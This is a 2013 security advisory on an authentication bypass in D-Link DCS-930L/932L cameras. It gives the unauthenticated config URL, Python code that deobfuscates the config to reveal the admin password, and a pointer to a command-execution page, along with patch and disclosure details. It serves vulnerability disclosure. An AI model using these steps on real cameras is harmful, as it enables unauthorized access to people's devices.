Unauthenticated remote access to D-Link DCS cameras
===================================================

[ADVISORY INFORMATION]
Title:    Unauthenticated remote access to D-Link DCS cameras
Discovery date: 20/06/2012
Release date:   28/01/2013
Credits:        Roberto Paleari (roberto@greyhats.it, twitter: @rpaleari)

[VULNERABILITY INFORMATION]
Class:           Authentication bypass, Remote command execution

[AFFECTED PRODUCTS]
This security vulnerability affects the following products and firmware
versions:
   * D-Link DCS-930L, firmware version 1.04
   * D-Link DCS-932L, firmware version 1.02
Other products and firmware versions are probably also vulnerable, but they
were not checked.

[VULNERABILITY DETAILS]
D-Link DCS web cameras allow unauthenticated attackers to obtain the
configuration of the device remotely. A copy of the device configuration can be
obtained by accessing the following URL:

  http://<device IP address>/frame/GetConfig

The obtained configuration file is obfuscated using a trivial obfuscation
scheme. Python code for the deobfuscation follows (sorry, the code is quite a
mess :-)):

<cut>
# 'data' holds the content of the obfuscated configuration file
def deobfuscate(data):
    r = []
    for c in data:
        c = ord(c)
        c = (c + ord('y')) & 0xff
        c = (c ^ ord('Z')) & 0xff
        c = (c - ord('e')) & 0xff
        r.append(c)

    tmp = None
    i = len(r) - 1
    while i >= 0:
        if i == len(r) - 1:
            x = r[i]
            tmp = ((x & 7) << 5) & 0xff

        if i == 0:
            assert tmp is not None
            x = r[0]
            x = (x >> 3) & 0xff
            x = (x + tmp) & 0xff
            r[0] = x
        else:
            c1 = r[i-1]
            c2 = r[i]
            c1 = c1 & 0x7
            c2 = (c2 >> 3) & 0xff
            c1 = (c1 << 5) & 0xff
            c2 = (c2 + c1) & 0xff
            r[i] = c2
        i = i - 1

    r = "".join([chr(x) for x in r])

    s = ""
    assert (len(r) % 2) == 0
    for i in range(len(r)/2):
        s += r[i+(len(r)/2)] + r[i]
    
    return s
</cut>

The above procedure returns the deobfuscated ASCII version of the
configuration file. This file includes, among other things, also the web
password for the "admin" user.

As a side note, it is worth considering that, after exploiting this issue,
authenticated attackers can also leverage the undocumented /docmd.htm web page
to execute arbitrary commands on the affected devices.

[REMEDIATION]
This issue has been addressed by D-Link in the following firmware releases:
* DCS-930L V1.06B5 (August 15, 2012)
* DCS-932L V1.04B5 (August 15, 2012)

These updates are available through mydlink.com and have also been implemented
on DCS-942L and higher camera products.

[DISCLOSURE TIME-LINE]
    * 20/06/2012 - Initial vendor contact.

    * 11/07/2012 - The author provided D-Link with the details of the
                   vulnerability.

    * 12/07/2012 - D-Link confirmed the issue is a new security vulnerability.

    * 26/01/2013 - D-Link confirmed the release of firmware versions that
             address the vulnerability.

    * 28/01/2013 - Public disclosure.

[DISCLAIMER]
The author is not responsible for the misuse of the information provided in
this security advisory. The advisory is a service to the professional security
community. There are NO WARRANTIES with regard to this information. Any
application or distribution of this information constitutes acceptance AS IS,
at the user's own risk. This information is subject to change without notice.